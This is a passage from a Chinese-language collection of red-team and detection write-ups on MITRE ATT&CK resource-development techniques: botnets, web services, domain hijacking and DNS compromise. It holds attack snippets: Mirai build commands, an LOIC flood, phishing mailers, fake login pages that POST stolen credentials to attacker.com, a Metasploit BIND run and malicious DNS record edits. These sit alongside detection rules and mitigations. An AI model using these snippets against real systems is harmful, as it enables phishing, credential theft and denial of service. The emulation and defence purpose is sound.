    "content": "# T1583-005-获取基础设施-僵尸网络\n\n## 描述\n攻击者在入侵目标组织之前，可能通过购买、租赁或租用僵尸网络（Botnet）来支持目标定位和攻击执行。僵尸网络是由大量受感染主机组成的网络，这些主机通过恶意软件（如僵尸程序）被控制，可由攻击者通过命令与控制（C2）通道统一指挥。僵尸网络可用于多种恶意活动，包括分布式拒绝服务（DDoS）攻击、大规模网络钓鱼、恶意软件分发、数据窃取或代理中继。\n\n攻击者可能通过以下方式获取和使用僵尸网络：\n- **购买/租赁**：通过暗网市场或“booter/stresser”服务订阅现有的僵尸网络，快速获取大量受感染主机。\n- **自行构建**：通过传播恶意软件（如Mirai、Emotet）感染主机，组建自定义僵尸网络。\n- **功能利用**：\n  - **DDoS攻击**：利用僵尸网络发送高流量请求，瘫痪目标服务器。\n  - **钓鱼分发**：通过受感染主机发送钓鱼邮件或恶意链接。\n  - **恶意软件传播**：使用僵尸网络分发勒索软件或间谍软件。\n  - **代理服务**：将受感染主机用作代理，隐藏攻击者真实IP。\n\n僵尸网络的隐蔽性和规模化使其成为攻击者的强大工具，尤其在需要大规模攻击或匿名性的场景中。\n\n## 测试案例\n以下是模拟攻击者获取和使用僵尸网络的常见方法和案例：\n- **购买/租赁僵尸网络**：\n  - 通过暗网市场（如AlphaBay、Dream Market）或“booter/stresser”服务（如vDOS、StressThem）订阅僵尸网络服务。\n  - 示例：租用Mirai变种僵尸网络，发起针对目标网站的DDoS攻击。\n- **自行构建僵尸网络**：\n  - 使用恶意软件（如Mirai、Emotet）感染易受攻击的设备（如IoT设备、未修补的Windows主机）。\n    ```bash\n    # 使用Mirai源码感染设备\n    git clone https://github.com/jgamblin/Mirai-Source-Code\n    cd Mirai-Source-Code\n    ./build.sh\n    # 传播恶意软件并建立C2\n    ```\n  - 配置C2服务器，使用HTTP或IRC协议控制受感染主机。\n    ```bash\n    # 配置简单的IRC C2服务器\n    sudo apt install inspircd\n    inspircd --config /etc/inspircd/inspircd.conf\n    ```\n- **功能利用**：\n  - **DDoS攻击**：使用僵尸网络发起HTTP Flood攻击。\n    ```bash\n    # 使用LOIC（Low Orbit Ion Cannon）模拟DDoS\n    loic <target_url> -method HTTP -threads 100\n    ```\n  - **钓鱼分发**：通过受感染主机发送钓鱼邮件。\n    ```python\n    import smtplib\n    from email.mime.text import MIMEText\n    msg = MIMEText(\"Click here: http://malicious.com\")\n    msg['Subject'] = 'Urgent: Account Verification'\n    msg['From'] = 'attacker@malicious.com'\n    msg['To'] = 'victim@target.com'\n    with smtplib.SMTP('smtp.malicious.com') as server:\n        server.login('user', 'pass')\n        server.send_message(msg)\n    ```\n- **案例场景**：\n  - 攻击者租用Mirai僵尸网络，针对目标组织发起DDoS攻击，瘫痪其Web服务。\n  - 使用Emotet僵尸网络分发钓鱼邮件，诱导员工点击恶意链接，窃取凭据。\n  - 参考案例：攻击者利用僵尸网络传播勒索软件，影响多个组织。\n\n## 检测日志\n僵尸网络相关活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **网络流量日志**：\n  - 检测与已知C2服务器的异常通信，如高频HTTP/IRC流量。\n- **DNS日志**：\n  - 记录解析到僵尸网络C2服务器的异常域名查询。\n- **邮件服务器日志**：\n  - 监控大规模钓鱼邮件，可能由僵尸网络分发。\n- **防火墙/IDS日志**：\n  - 检测DDoS攻击的高流量模式或异常C2通信。\n- **端点日志**：\n  - 记录受感染主机的异常行为，如未知进程或网络连接。\n\n## 测试复现\n以下是模拟攻击者获取和使用僵尸网络的步骤：\n1. **环境准备**：\n   - 在授权测试环境中搭建C2服务器（如使用AWS EC2或本地虚拟机）。\n   - 配置受控的测试主机，模拟受感染设备。\n2. **僵尸网络构建**：\n   - 使用Mirai源码感染测试主机：\n     ```bash\n     git clone https://github.com/jgamblin/Mirai-Source-Code\n     cd Mirai-Source-Code\n     ./build.sh\n     # 部署到测试主机\n     ```\n   - 配置C2服务器（如IRC或HTTP）：\n     ```bash\n     # 启动IRC服务器\n     sudo apt install inspircd\n     inspircd --config /etc/inspircd/inspircd.conf\n     ```\n3. **测试执行**：\n   - 模拟DDoS攻击：\n     ```bash\n     loic http://target.com -method HTTP -threads 100\n     ```\n   - 模拟钓鱼分发：\n     ```python\n     import smtplib\n     from email.mime.text import MIMEText\n     msg = MIMEText(\"Click here: http://malicious.com\")\n     msg['Subject'] = 'Urgent: Account Verification'\n     msg['From'] = 'attacker@malicious.com'\n     msg['To'] = 'victim@target.com'\n     with smtplib.SMTP('smtp.malicious.com') as server:\n         server.login('user', 'pass')\n         server.send_message(msg)\n     ```\n4. **结果分析**：\n   - 验证DDoS攻击效果或钓鱼邮件分发成功率。\n5. **日志收集**：\n   - 收集DNS、网络流量、邮件和端点日志，分析僵尸网络活动痕迹。\n\n## 测试留痕\n僵尸网络相关活动可能留下以下痕迹：\n- **DNS查询**：解析到C2服务器的异常域名。\n- **网络流量**：高频HTTP/IRC流量或DDoS攻击的异常流量模式。\n- **防火墙/IDS告警**：触发C2或DDoS相关的检测规则。\n- **邮件服务器日志**：大规模钓鱼邮件的发送记录。\n- **端点日志**：受感染主机的异常进程或网络连接。\n\n## 检测规则/思路\n由于僵尸网络活动多发生在目标组织视野之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 检测与已知C2服务器的异常通信，关注HTTP、IRC或DNS流量。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:\"Suspicious C2 Traffic\"; content:\"irc\"; sid:1000001;)\n    ```\n  - 使用NetFlow或Zeek分析高频或异常流量模式。\n- **DNS监控**：\n  - 检测解析到C2服务器的异常域名，重点关注新注册或可疑域名。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Suspicious C2 Domains\n    Condition: DNS query resolves to <KNOWN_C2_IP>\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测大规模钓鱼邮件，检查包含恶意链接或附件。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Emails\n    Condition: Email contains \"http\" AND NOT \"target.com\"\n    Action: Alert\n    ```\n- **端点监控**：\n  - 使用EDR工具（如CrowdStrike、Carbon Black）检测受感染主机的异常行为，如未知进程或C2连接。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的C2服务器IP或域名。\n  - 监控暗网市场，检测僵尸网络租赁活动。\n\n## 建议\n- **减少暴露面**：\n  - 修补系统漏洞，防止主机被恶意软件感染加入僵尸网络。\n  - 限制员工访问可疑网站或下载未知附件。\n- **安全加固**：\n  - 配置防火墙限制与已知C2服务器的通信。\n  - 实施MFA保护员工账户，防止凭据被钓鱼窃取。\n  - 使用WAF保护Web服务，拦截DDoS或钓鱼流量。\n- **主动监控与响应**：\n  - 部署SIEM工具（如Splunk、ELK），分析异常DNS或网络流量。\n  - 使用Shodan或Censys监控暴露的C2服务器。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的僵尸网络活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566、DDoS T1498），通过异常流量或行为间接发现僵尸网络活动。\n\n## 参考资料\n- MITRE ATT&CK: T1583-005  \n  <https://attack.mitre.org/techniques/T1583/005/>"
  },
  {
    "path": "Windows/02资源开发/T1583.006-获取基础设施-web服务.md",
    "content": "# T1583-006-获取基础设施-web服务\n\n## 描述\n攻击者在入侵目标组织之前，可能注册或利用现有的Web服务以支持目标定位和攻击执行。Web服务包括社交媒体平台（如Twitter、Facebook）、云存储服务（如Google Drive、Dropbox）、代码托管平台（如GitHub、GitLab）或其他在线服务。这些服务因其普遍性和高声誉，常被攻击者滥用以隐藏恶意活动，增加追踪难度。攻击者可能通过这些服务执行多种恶意活动，例如命令与控制（C2）、数据泄露、钓鱼或恶意软件分发。\n\n攻击者可能通过以下方式利用Web服务：\n- **命令与控制（C2）**：通过Web服务API（如Twitter DM、Google Sheets）传输C2指令，隐藏在正常流量中。\n- **数据泄露**：利用云存储服务（如Dropbox、OneDrive）存储或传输窃取的数据。\n- **钓鱼和恶意内容托管**：在GitHub Pages、Google Sites等平台上托管钓鱼页面或恶意文件。\n- **匿名性增强**：使用匿名账户或临时邮箱注册Web服务，降低被追踪的风险。\n\nWeb服务的广泛使用和高信任度使其成为攻击者的理想基础设施，尤其是在需要隐蔽通信或快速部署的场景中。\n\n## 测试案例\n以下是模拟攻击者获取和使用Web服务的常见方法和案例：\n- **GitHub Pages托管钓鱼页面**：\n  - 在GitHub上创建仓库，使用GitHub Pages部署伪装的登录页面。\n    ```bash\n    # 创建GitHub Pages\n    git init\n    echo \"<html><body><h1>TargetCorp Login</h1></body></html>\" > index.html\n    git add . && git commit -m \"Initial commit\"\n    git push origin main\n    # 启用GitHub Pages\n    ```\n- **云存储服务分发恶意文件**：\n  - 将恶意软件上传到Google Drive或Dropbox，生成共享链接。\n    ```bash\n    # 使用Google Drive CLI上传文件\n    gdrive upload malicious.exe\n    gdrive share malicious.exe --role reader --type anyone\n    ```\n- **社交媒体C2**：\n  - 使用Twitter API发送加密的C2指令。\n    ```python\n    import tweepy\n    auth = tweepy.OAuthHandler(\"consumer_key\", \"consumer_secret\")\n    auth.set_access_token(\"access_token\", \"access_token_secret\")\n    api = tweepy.API(auth)\n    api.update_status(\"encoded_C2_command\")\n    ```\n- **案例场景**：\n  - 攻击者在GitHub Pages上部署伪装的TargetCorp登录页面，通过钓鱼邮件分发链接，窃取员工凭据。\n  - 使用Google Drive共享恶意PDF，结合社交工程诱导员工下载并执行。\n  - 参考案例：攻击者利用Google Drive分发勒索软件，隐藏在合法流量中。\n\n## 检测日志\nWeb服务相关活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **网络流量日志**：\n  - 检测与Web服务（如Google、Twitter、GitHub）的异常API调用或流量模式。\n- **DNS日志**：\n  - 记录解析到Web服务IP的异常域名查询，可能与C2或钓鱼相关。\n- **邮件服务器日志**：\n  - 监控钓鱼邮件，包含指向Web服务托管的恶意链接。\n- **防火墙/IDS日志**：\n  - 检测异常的HTTP/HTTPS流量，涉及Web服务的API端点。\n- **端点日志**：\n  - 记录访问Web服务托管的恶意页面或下载可疑文件的活动。\n\n## 测试复现\n以下是模拟攻击者获取Web服务的步骤：\n1. **环境准备**：\n   - 注册GitHub、Google Drive或Twitter账户，准备测试环境。\n   - 确保在授权范围内操作，避免违反服务条款。\n2. **Web服务配置**：\n   - **GitHub Pages钓鱼页面**：\n     ```bash\n     # 创建GitHub仓库\n     mkdir phishing-site && cd phishing-site\n     git init\n     echo \"<html><body><form id='login'><input type='text' id='username'><input type='password' id='password'><input type='submit' value='Login'></form><script>document.getElementById('login').addEventListener('submit', function(e) { e.preventDefault(); fetch('http://attacker.com/collect', { method: 'POST', body: JSON.stringify({ username: document.getElementById('username').value, password: document.getElementById('password').value }) }); });</script></body></html>\" > index.html\n     git add . && git commit -m \"Initial commit\"\n     git push origin main\n     # 启用GitHub Pages\n     ```\n   - **Google Drive恶意文件**：\n     ```bash\n     # 安装gdrive CLI\n     wget https://github.com/glotlabs/gdrive/releases/download/3.9.1/gdrive-linux-x64\n     chmod +x gdrive-linux-x64\n     ./gdrive-linux-x64 upload malicious.pdf\n     ./gdrive-linux-x64 share malicious.pdf --role reader --type anyone\n     ```\n   - **Twitter C2**：\n     ```python\n     import tweepy\n     auth = tweepy.OAuthHandler(\"consumer_key\", \"consumer_secret\")\n     auth.set_access_token(\"access_token\", \"access_token_secret\")\n     api = tweepy.API(auth)\n     api.update_status(\"encoded_C2_command:execute_payload\")\n     ```\n3. **测试执行**：\n   - 发送钓鱼邮件，诱导目标访问GitHub Pages上的伪装页面。\n   - 使用Twitter API发送C2指令，模拟控制受感染主机。\n4. **结果分析**：\n   - 验证钓鱼页面或C2通道是否正常运行。\n5. **日志收集**：\n   - 收集DNS、网络流量、邮件和端点日志，分析Web服务相关活动痕迹。\n\n## 测试留痕\nWeb服务相关活动可能留下以下痕迹：\n- **DNS查询**：解析到Web服务（如github.io、drive.google.com）的异常域名。\n- **网络流量**：与Web服务API端点的异常HTTP/HTTPS通信。\n- **防火墙/IDS告警**：触发C2或钓鱼相关的检测规则。\n- **邮件服务器日志**：钓鱼邮件中包含Web服务托管的链接。\n- **端点日志**：访问Web服务托管的恶意页面或下载可疑文件的记录。\n\n## 检测规则/思路\n由于Web服务活动多发生在目标组织视野之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 检测与Web服务（如Google Drive、Twitter API）的异常通信，关注高频API调用或可疑流量模式。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"Suspicious Web Service Traffic\"; content:\"api.twitter.com\"; sid:1000001;)\n    ```\n  - 使用NetFlow或Zeek分析与Web服务的长期连接或异常流量。\n- **DNS监控**：\n  - 检测解析到Web服务IP的异常域名，重点关注github.io、drive.google.com等。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Suspicious Web Service Domains\n    Condition: DNS query resolves to github.io OR drive.google.com\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测钓鱼邮件，检查包含Web服务链接的邮件。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Links to Web Services\n    Condition: Email contains \"http\" AND \"github.io\"\n    Action: Alert\n    ```\n- **端点监控**：\n  - 使用EDR工具（如CrowdStrike、Carbon Black）检测访问Web服务托管的恶意页面或下载可疑文件的活动。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意Web服务URL或IP。\n  - 监控暗网市场，检测Web服务账户的异常使用。\n\n## 建议\n- **减少暴露面**：\n  - 限制员工访问未知或可疑的Web服务链接。\n  - 使用URL过滤器拦截已知Web服务的恶意子域名（如github.io）。\n- **安全加固**：\n  - 配置防火墙限制与Web服务API的异常通信。\n  - 实施MFA保护与员工相关的Web服务账户，防止凭据被窃取。\n  - 使用WAF保护合法网站，拦截异常流量。\n- **主动监控与响应**：\n  - 部署SIEM工具（如Splunk、ELK），分析与Web服务相关的异常流量模式。\n  - 使用Shodan或Censys监控Web服务的暴露页面，识别潜在恶意活动。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的Web服务滥用行为。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566、数据泄露T1567），通过异常流量或行为间接发现Web服务活动。\n\n## 参考资料\n- MITRE ATT&CK: T1583-006  \n  <https://attack.mitre.org/techniques/T1583/006/>\n"
  },
  {
    "path": "Windows/02资源开发/T1584.001-入侵基础设施-域名.md",
    "content": "# T1584-001-入侵基础设施-域名\n\n## 描述\n在入侵目标组织之前，攻击者可能通过劫持域名或子域名来支持目标定位和攻击执行。域名劫持是指未经授权控制域名或子域名，通常通过利用域名注册流程或相关账户的弱点实现。攻击者可利用劫持的域名开展恶意活动，如网络钓鱼（T1566）、命令与控制（C2）（T1102）或分发恶意内容，通过合法域名的信任度掩盖恶意行为。\n\n攻击者可能采用以下方式入侵域名：\n- **电子邮件账户入侵**：通过钓鱼或凭据填充获取域名所有者的电子邮件账户（如`admin@target.com`），以发起密码重置或修改注册信息。\n- **社会工程**：通过钓鱼或伪装身份攻击域名注册商的帮助中心（如客户支持），获取账户控制权。\n- **利用注册漏洞**：利用弱认证、过期域名或错误配置的DNS记录。\n- **子域名劫持**：利用悬空DNS记录（如指向已停用资源的CNAME或A记录），控制子域名。\n\n劫持的域名或子域名可用于托管恶意内容、重定向流量或建立C2基础设施，同时因其与合法域名的关联性而混杂于正常流量中。\n\n## 测试案例\n以下是攻击者入侵域名的常见方法和工具，以及示例：\n- **电子邮件账户入侵**：\n  - 通过钓鱼邮件获取域名所有者的电子邮件凭据，重置注册商账户。\n  - 示例：发送伪装为GoDaddy密码重置页面的钓鱼邮件，捕获凭据。\n- **社会工程**：\n  - 冒充域名所有者联系注册商帮助中心，请求密码重置或DNS变更。\n  - 示例：利用窃取的个人信息说服Namecheap支持团队转移域名控制权。\n- **子域名劫持**：\n  - 识别悬空DNS记录（如CNAME指向未声明的AWS S3存储桶），并声明该资源。\n  - 示例：使用`Subadub`工具查找易受攻击的子域名：\n    ```bash\n    subadub -d target.com -o output.txt\n    ```\n  - 参考：<https://blog.csdn.net/nini_boom/article/details/108308966>，详细介绍子域名劫持技术。\n- **利用过期域名**：\n  - 使用`WhoisXML API`监控过期域名并注册用于恶意活动。\n    ```bash\n    curl -X GET \"https://api.whoisxmlapi.com/v1/expired-domains?domain=target.com&apiKey=<API_KEY>\"\n    ```\n- **案例场景**：\n  - 攻击者发现`sub.target.com`的CNAME记录指向未声明的Azure资源，声明该资源并托管伪装的登录页面。\n  - 参考：<https://xz.aliyun.com/t/6683>，总结真实世界的子域名劫持案例。\n\n## 检测日志\n域名入侵活动通常发生在目标组织视野之外，难以直接监控。可能的日志来源包括：\n- **DNS日志**：\n  - 监控未经授权的DNS记录变更（如NS、A或CNAME修改）。\n- **注册商日志**：\n  - 跟踪注册商管理控制台中的登录尝试、密码重置或DNS变更。\n- **邮件服务器日志**：\n  - 检测针对域名所有者或注册商账户的钓鱼邮件。\n- **网络流量日志**：\n  - 识别指向劫持域名或子域名的恶意流量。\n- **Web服务器日志**：\n  - 记录对劫持子域名托管的钓鱼或恶意页面的请求。\n\n## 测试复现\n以下是在受控授权环境中模拟域名入侵的步骤：\n1. **环境准备**：\n   - 使用Namecheap或GoDaddy注册测试域名（如`test-target.com`）。\n   - 配置子域名（如`sub.test-target.com`），设置悬空CNAME指向未声明的资源（如AWS S3存储桶）。\n2. **子域名劫持**：\n   - 使用`Subadub`识别悬空记录：\n     ```bash\n     subadub -d test-target.com -o subdomains.txt\n     ```\n   - 声明未拥有的资源（如创建与CNAME匹配的S3存储桶）。\n   - 在声明的资源上托管钓鱼页面：\n     ```html\n     <html>\n     <head><title>TestCorp 登录</title></head>\n     <body>\n         <form id=\"login-form\">\n             <input type=\"text\" id=\"username\" placeholder=\"用户名\">\n             <input type=\"password\" id=\"password\" placeholder=\"密码\">\n             <input type=\"submit\" value=\"登录\">\n         </form>\n         <script>\n             document.getElementById('login-form').addEventListener('submit', function(e) {\n                 e.preventDefault();\n                 var data = {\n                     username: document.getElementById('username').value,\n                     password: document.getElementById('password').value\n                 };\n                 fetch('http://attacker.com/collect', {\n                     method: 'POST',\n                     body: JSON.stringify(data)\n                 });\n             });\n         </script>\n     </body>\n     </html>\n     ```\n3. **电子邮件入侵模拟**：\n   - 向测试域名的管理员邮箱发送伪装的注册商密码重置邮件：\n     ```python\n     import smtplib\n     from email.mime.text import MIMEText\n     msg = MIMEText(\"重置您的密码：http://fake-registrar.com/reset\")\n     msg['Subject'] = '紧急：域名密码重置'\n     msg['From'] = 'support@fake-registrar.com'\n     msg['To'] = 'admin@test-target.com'\n     with smtplib.SMTP('smtp.attacker.com') as server:\n         server.login('user', 'pass')\n         server.send_message(msg)\n     ```\n4. **结果分析**：\n   - 验证子域名是否提供钓鱼页面，或邮件是否触发响应。\n5. **日志收集**：\n   - 收集DNS、注册商、邮件和Web服务器日志，分析入侵痕迹。\n\n## 测试留痕\n域名入侵活动可能留下以下痕迹：\n- **DNS日志**：未经授权的NS、A或CNAME记录变更。\n- **注册商日志**：可疑的登录尝试、密码重置或DNS修改。\n- **邮件服务器日志**：针对域名所有者或注册商账户的钓鱼邮件。\n- **网络流量**：指向劫持域名或子域名的恶意流量。\n- **Web服务器日志**：对劫持子域名上的钓鱼或恶意页面的HTTP请求。\n\n## 检测规则/思路\n由于域名入侵通常发生在目标组织视野之外，检测需结合多种策略：\n- **DNS监控**：\n  - 使用Cloudflare或AWS Route 53日志检测未经授权的DNS记录变更。\n  - 示例DNS监控规则：\n    ```plaintext\n    规则：检测未经授权的DNS变更\n    条件：DNS记录被修改且非授权IP\n    动作：告警\n    ```\n- **注册商账户监控**：\n  - 在注册商控制台（如GoDaddy、Namecheap）启用审计日志，跟踪登录尝试或配置变更。\n  - 示例审计规则：\n    ```plaintext\n    规则：检测注册商账户活动\n    条件：来自未知IP的登录尝试或DNS变更\n    动作：告警\n    ```\n- **邮件监控**：\n  - 使用DLP（数据丢失防护）工具检测针对域名相关账户的钓鱼邮件。\n  - 示例DLP规则：\n    ```plaintext\n    规则：检测针对域名账户的钓鱼邮件\n    条件：邮件包含“密码重置”且涉及“注册商”\n    动作：告警\n    ```\n- **威胁情报整合**：\n  - 使用DomainTools或WhoisXML API监控与组织域名相似的注册活动。\n  - 示例：监控`*.target*`的注册情况。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联DNS、邮件和网络日志，检测域名入侵或恶意使用的迹象。\n- **子域名监控**：\n  - 使用`dnsdumpster`或`Subadub`识别悬空DNS记录：\n    ```bash\n    dnsdumpster -d target.com -o output.csv\n    ```\n\n## 建议\n- **减少暴露面**：\n  - 定期审计DNS记录，识别并移除悬空记录（如指向未声明资源的CNAME）。\n  - 使用强密码和MFA保护注册商账户。\n  - 使用域名锁定服务，防止未经授权的转移。\n- **安全加固**：\n  - 启用DNSSEC，防止DNS欺骗和未经授权的变更。\n  - 配置注册商审计日志，监控账户活动。\n  - 实施邮件过滤，阻止针对域名所有者的钓鱼尝试。\n- **主动监控与响应**：\n  - 使用DomainTools或WhoisXML API监控与组织域名相似的注册活动。\n  - 部署Google Alerts，监控组织域名在可疑上下文中的提及。\n  - 进行威胁狩猎，识别潜在的子域名劫持或注册商入侵。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566），通过异常流量或钓鱼活动间接发现域名入侵。\n\n## 参考资料\n- MITRE ATT&CK: T1584-001  \n  <https://attack.mitre.org/techniques/T1584/001/>\n- 子域名劫持漏洞详解、挖掘和防护  \n  <https://blog.csdn.net/nini_boom/article/details/108308966>\n- 关于子域名劫持的一些总结  \n  <https://xz.aliyun.com/t/6683>\n"
  },
  {
    "path": "Windows/02资源开发/T1584.002-入侵基础设施-DNS服务.md",
    "content": "# T1584-002-入侵基础设施-DNS服务\n\n## 描述\n在入侵目标组织之前，攻击者可能通过劫持第三方域名系统（DNS）服务器来支持目标定位和攻击执行。相比于自建DNS服务器，攻击者可能选择入侵现有的DNS服务器以获取对DNS流量的控制权。这种入侵行为可用于命令与控制（C2）、数据收集、凭据窃取或其他恶意活动。劫持的DNS服务器能够重定向流量、创建恶意子域名或伪造DNS响应，而无需向域名所有者支付费用。\n\n攻击者可能通过以下方式入侵DNS服务：\n- **凭据窃取**：通过钓鱼、凭据填充或漏洞利用获取DNS服务器管理员的账户凭据。\n- **漏洞利用**：利用DNS服务器软件（如BIND、PowerDNS）的已知漏洞（如远程代码执行）获得控制权。\n- **配置篡改**：修改DNS记录（如A、CNAME、NS），将流量重定向到恶意服务器。\n- **社会工程**：通过伪装身份攻击DNS服务提供商的帮助中心，获取账户访问权限。\n- **恶意子域名**：在受控DNS服务器上创建指向恶意服务器的子域名，用于钓鱼或C2。\n\n入侵DNS服务的高隐蔽性和对流量的控制能力使其成为攻击者的强大工具，尤其是在需要重定向合法流量或窃取敏感信息的场景中。\n\n## 测试案例\n以下是模拟攻击者入侵DNS服务的常见方法和案例：\n- **凭据窃取**：\n  - 通过钓鱼邮件获取DNS服务器管理员的登录凭据。\n  - 示例：伪装为DNS服务提供商（如Cloudflare）发送密码重置邮件：\n    ```python\n    import smtplib\n    from email.mime.text import MIMEText\n    msg = MIMEText(\"Reset your password: http://fake-dns.com/reset\")\n    msg['Subject'] = 'Urgent: DNS Account Reset'\n    msg['From'] = 'support@fake-dns.com'\n    msg['To'] = 'admin@target.com'\n    with smtplib.SMTP('smtp.attacker.com') as server:\n        server.login('user', 'pass')\n        server.send_message(msg)\n    ```\n- **漏洞利用**：\n  - 利用BIND的已知漏洞（如CVE-2016-2776）执行远程代码，控制DNS服务器。\n    ```bash\n    # 使用Metasploit攻击BIND漏洞\n    msfconsole\n    use exploit/linux/dns/bind_dos\n    set RHOST <DNS_SERVER_IP>\n    exploit\n    ```\n- **配置篡改**：\n  - 登录受损DNS服务器，修改A记录指向恶意IP。\n    ```bash\n    # 修改BIND区域文件\n    echo \"malicious.sub.target.com. IN A 192.168.1.100\" >> /var/named/target.com.zone\n    rndc reload\n    ```\n- **子域名创建**：\n  - 在受损DNS服务器上添加恶意子域名，用于C2或钓鱼。\n    ```bash\n    # 添加子域名记录\n    echo \"c2.target.com. IN A 192.168.1.200\" >> /var/named/target.com.zone\n    rndc reload\n    ```\n- **案例场景**：\n  - 攻击者通过钓鱼获取DNS管理员凭据，登录Cloudflare账户，修改A记录将`login.target.com`重定向到钓鱼网站。\n  - 利用BIND漏洞入侵企业DNS服务器，创建`malicious.target.com`子域名，托管C2服务器。\n  - 参考案例：攻击者通过DNS记录篡改实现流量重定向。\n\n## 检测日志\nDNS服务入侵活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **DNS服务器日志**：\n  - 记录未经授权的DNS记录变更（如A、CNAME、NS修改）。\n- **身份认证日志**：\n  - 监控DNS服务器或管理面板的异常登录尝试。\n- **邮件服务器日志**：\n  - 检测针对DNS管理员账户的钓鱼邮件。\n- **网络流量日志**：\n  - 识别重定向到恶意IP的DNS查询或异常流量。\n- **防火墙/IDS日志**：\n  - 检测针对DNS服务器的漏洞利用尝试或异常DNS流量。\n\n## 测试复现\n以下是在受控授权环境中模拟DNS服务入侵的步骤：\n1. **环境准备**：\n   - 搭建测试DNS服务器（如使用BIND或PowerDNS），模拟企业DNS环境。\n   - 配置测试域名（如`test-target.com`），指向DNS服务器。\n2. **凭据窃取模拟**：\n   - 发送伪装的钓鱼邮件，诱导管理员泄露DNS管理凭据：\n     ```python\n     import smtplib\n     from email.mime.text import MIMEText\n     msg = MIMEText(\"Reset your password: http://fake-dns.com/reset\")\n     msg['Subject'] = 'Urgent: DNS Account Reset'\n     msg['From'] = 'support@fake-dns.com'\n     msg['To'] = 'admin@test-target.com'\n     with smtplib.SMTP('smtp.attacker.com') as server:\n         server.login('user', 'pass')\n         server.send_message(msg)\n     ```\n3. **漏洞利用模拟**：\n   - 使用Metasploit攻击BIND漏洞：\n     ```bash\n     msfconsole\n     use exploit/linux/dns/bind_dos\n     set RHOST <DNS_SERVER_IP>\n     exploit\n     ```\n4. **配置篡改**：\n   - 登录受损DNS服务器，添加恶意DNS记录：\n     ```bash\n     echo \"malicious.test-target.com. IN A 192.168.1.100\" >> /var/named/test-target.com.zone\n     rndc reload\n     ```\n5. **结果分析**：\n   - 验证DNS记录是否重定向到恶意IP，或子域名是否提供恶意内容。\n6. **日志收集**：\n   - 收集DNS服务器、身份认证、邮件和网络流量日志，分析入侵痕迹。\n\n## 测试留痕\nDNS服务入侵可能留下以下痕迹：\n- **DNS服务器日志**：未经授权的DNS记录变更或异常查询。\n- **身份认证日志**：DNS管理面板的异常登录尝试或IP来源。\n- **邮件服务器日志**：针对DNS管理员的钓鱼邮件。\n- **网络流量**：重定向到恶意IP的DNS查询或异常C2流量。\n- **防火墙/IDS告警**：针对DNS服务器的漏洞利用或异常DNS流量。\n\n## 检测规则/思路\n由于DNS服务入侵多发生在目标组织视野之外，检测需结合多种手段：\n- **DNS服务器监控**：\n  - 检测未经授权的DNS记录变更。\n  - 示例DNS日志规则：\n    ```plaintext\n    Rule: Detect Unauthorized DNS Changes\n    Condition: DNS record modified AND NOT authorized_IP\n    Action: Alert\n    ```\n- **身份认证监控**：\n  - 监控DNS服务器或管理面板的异常登录。\n  - 示例IDS规则：\n    ```snort\n    alert tcp any any -> <DNS_SERVER_IP> 22 (msg:\"Suspicious SSH Login Attempt\"; sid:1000001;)\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测针对DNS管理员的钓鱼邮件。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Emails for DNS Accounts\n    Condition: Email contains \"password reset\" AND \"dns\"\n    Action: Alert\n    ```\n- **网络流量分析**：\n  - 使用IDS/IPS（如Snort、Suricata）检测异常DNS查询或重定向流量。\n  - 示例Snort规则：\n    ```snort\n    alert udp any any -> any 53 (msg:\"Suspicious DNS Query to Malicious IP\"; content:\"192.168.1.100\"; sid:1000002;)\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意DNS服务器IP或域名。\n  - 监控CVE数据库，关注DNS软件的最新漏洞。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联DNS、身份认证和网络日志，检测入侵或恶意使用的迹象。\n\n## 建议\n- **减少暴露面**：\n  - 定期审计DNS服务器配置，移除不必要的记录或子域名。\n  - 使用强密码和MFA保护DNS管理账户。\n- **安全加固**：\n  - 及时修补DNS服务器软件漏洞（如BIND、PowerDNS）。\n  - 启用DNSSEC，防止DNS记录篡改。\n  - 配置DNS服务器防火墙，仅允许可信IP访问管理端口。\n- **主动监控与响应**：\n  - 部署DNS日志分析工具（如Splunk、ELK），监控异常记录变更或查询。\n  - 使用Shodan或Censys扫描暴露的DNS服务器，识别潜在漏洞。\n  - 进行威胁狩猎，主动搜索可能的DNS服务入侵。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566），通过异常流量或C2行为间接发现DNS入侵。\n\n## 参考资料\n- MITRE ATT&CK: T1584-002  \n  <https://attack.mitre.org/techniques/T1584/002/>"
  },
  {
    "path": "Windows/02资源开发/T1584.003-入侵基础设施-虚拟专用服务器.md",
